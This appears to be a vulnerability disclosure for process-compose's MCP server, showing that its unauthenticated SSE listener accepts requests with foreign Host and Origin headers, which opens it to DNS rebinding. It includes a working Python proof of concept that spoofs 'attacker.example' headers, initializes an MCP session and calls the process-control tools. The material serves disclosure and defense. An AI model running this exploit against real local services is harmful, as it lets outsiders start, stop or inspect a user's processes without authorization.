Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

 1src/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.
 2src/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
 3src/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
 4src/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.

 1src/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.
 2src/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
 3src/mcp/control_tools.go:121-142 The registered tools return project and process state.

 1workdir="$(mktemp -d)"
 2cd "$workdir"
 3git clone https://github.com/F1bonacc1/process-compose process-compose-target
 4cd process-compose-target
 5git checkout d56aa59df04b72f8644811ac581a051bec05e485
 6 
 7go build -o ./process-compose-poc .
 8 
 9cat > process-compose-mcp-poc.yaml <<'YAML'
10mcp_server:
11  host: 127.0.0.1
12  port: 8081
13  transport: sse
14  expose_control_tools: true
15 
16processes:
17  sleeper:
18    command: "sleep 600"
19    disabled: true
20YAML
21 
22PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
23  -f ./process-compose-mcp-poc.yaml \
24  -t=false \
25  --no-server \
26  --keep-project \
27  --log-file ./process-compose-mcp-poc.log

 1python3 - <<'PY'
 2import http.client
 3import json
 4import queue
 5import threading
 6import time
 7import urllib.parse
 8 
 9host = "127.0.0.1"
10port = 8081
11attacker_host = "attacker.example:8081"
12origin = "http://attacker.example:8081"
13headers = {
14    "Host": attacker_host,
15    "Origin": origin,
16    "Accept": "text/event-stream",
17}
18 
19events = queue.Queue()
20 
21def read_sse(resp):
22    event = None
23    data = None
24    while True:
25        line = resp.readline()
26        if not line:
27            return
28        text = line.decode("utf-8", "replace").strip()
29        if text.startswith("event:"):
30            event = text.split(":", 1)[1].strip()
31        elif text.startswith("data:"):
32            data = text.split(":", 1)[1].strip()
33        elif text == "" and (event or data):
34            events.put((event, data))
35            event = None
36            data = None
37 
38conn = http.client.HTTPConnection(host, port, timeout=10)
39conn.request("GET", "/sse", headers=headers)
40resp = conn.getresponse()
41print("GET /sse", resp.status)
42print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
43threading.Thread(target=read_sse, args=(resp,), daemon=True).start()
44 
45endpoint = None
46deadline = time.time() + 10
47while time.time() < deadline:
48    event, data = events.get(timeout=1)
49    if event == "endpoint":
50        endpoint = data
51        break
52assert endpoint, "no SSE endpoint event"
53print("endpoint", endpoint)
54 
55def post(message):
56    parsed = urllib.parse.urlparse(endpoint)
57    path = parsed.path + ("?" + parsed.query if parsed.query else "")
58    body = json.dumps(message).encode()
59    c = http.client.HTTPConnection(host, port, timeout=10)
60    c.request("POST", path, body=body, headers={
61        "Host": attacker_host,
62        "Origin": origin,
63        "Content-Type": "application/json",
64        "Content-Length": str(len(body)),
65        "Authorization": "Bearer invalid-replay-token",
66    })
67    r = c.getresponse()
68    r.read()
69    c.close()
70    print("POST", message.get("method"), r.status)
71 
72def wait_result(rpc_id):
73    deadline = time.time() + 10
74    while time.time() < deadline:
75        event, data = events.get(timeout=1)
76        if event == "message" and data:
77            msg = json.loads(data)
78            if msg.get("id") == rpc_id:
79                return msg
80    raise SystemExit(f"no result for id {rpc_id}")
81 
82post({
83    "jsonrpc": "2.0",
84    "id": 1,
85    "method": "initialize",
86    "params": {
87        "protocolVersion": "2024-11-05",
88        "capabilities": {},
89        "clientInfo": {"name": "rebind-poc", "version": "1.0.0"}
90    }
91})
92print(json.dumps(wait_result(1), indent=2))
93 
94post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})
95 
96post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}})
97tools = wait_result(2)
98names = [tool["name"] for tool in tools["result"]["tools"]]
99print("tools", names)
100 
101post({
102    "jsonrpc": "2.0",
103    "id": 3,
104    "method": "tools/call",
105    "params": {
106        "name": "pc_process_list",
107        "arguments": {}
108    }
109})
110print(json.dumps(wait_result(3), indent=2))
111PY

 1Host: attacker.example:8081
 2Origin: http://attacker.example:8081
 3Authorization: Bearer invalid-replay-token

 1{
 2  "data": [
 3    {
 4      "name": "sleeper",
 5      "namespace": "default",
 6      "status": "Disabled",
 7      "system_time": "-",
 8      "age": 0,
 9      "is_ready": "-",
10      "has_ready_probe": false,
11      "restarts": 0,
12      "exit_code": 0,
13      "pid": 0,
14      "is_elevated": false,
15      "password_provided": false,
16      "mem": 0,
17      "cpu": 0,
18      "is_running": false
19    }
20  ]
21}